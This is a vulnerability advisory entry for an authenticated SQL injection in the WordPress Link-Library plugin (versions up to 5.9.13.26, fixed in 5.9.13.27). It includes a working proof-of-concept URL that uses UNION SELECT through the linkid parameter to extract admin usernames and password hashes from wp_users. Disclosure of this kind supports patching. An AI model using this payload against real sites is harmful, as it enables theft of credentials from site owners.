Link-Library <= 5.9.13.26 – Authenticated SQL Injection

Description

Type user access: admin user.

$_GET[‘linkid’] is not escaped.

Proof of Concept

http://localhost:8080/wp-admin/admin.php?page=link-library&genthumbsingle=1&linkid=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCAT(user_login,char(58),user_pass),17,18,19,20,21,22,23,24,25,26+FROM+wp_users+WHERE+ID=1

Affects Plugin

link-library

fixed in version 5.9.13.27

References

URL	http://lenonleite.com.br/en/blog/2017/08/14/link-library-5-9-13-26-plugin-wordpress-sql-injection/
URL	https://plugins.trac.wordpress.org/changeset/1713187/link-library

Classification

Type	SQLI
OWASP Top 10	A1: Injection
CWE	CWE-89

Miscellaneous

Submitter	Lenon Leite / Log.pt
Submitter Website	http://lenonleite.com.br/
Submitter Twitter	lenonleite
Views	1794
Verified	No
WPVDB ID	8886

Timeline

Publicly Published	2017-08-14 (over 1 year ago)
Added	2017-08-16 (over 1 year ago)
Last Updated	2017-08-16 (over 1 year ago)

Copyright & License

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